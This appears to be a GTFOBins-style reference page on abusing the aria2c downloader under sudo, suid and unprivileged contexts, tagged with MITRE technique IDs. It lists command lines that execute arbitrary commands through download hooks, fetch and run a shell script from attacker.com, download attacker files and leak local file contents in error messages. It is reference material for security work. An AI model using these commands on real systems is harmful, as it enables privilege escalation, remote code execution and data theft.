aria2c

Note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/aria2c/

Note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/aria2c/

Note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/aria2c/

The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/aria2c/

The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/aria2c/

The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/aria2c/

Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

download

MITRE

T1105

Refs

gtfobins.github.io/gtfobins/aria2c/

Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

download

MITRE

T1105

Refs

gtfobins.github.io/gtfobins/aria2c/

Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

download

MITRE

T1105

Refs

gtfobins.github.io/gtfobins/aria2c/

The file is leaked as error messages.

aria2c -i /path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

file-read

MITRE

T1005

Refs

gtfobins.github.io/gtfobins/aria2c/

The file is leaked as error messages.

aria2c -i /path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

file-read

MITRE

T1005

Refs

gtfobins.github.io/gtfobins/aria2c/

The file is leaked as error messages.

aria2c -i /path/to/input-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

file-read

MITRE

T1005

Refs

gtfobins.github.io/gtfobins/aria2c/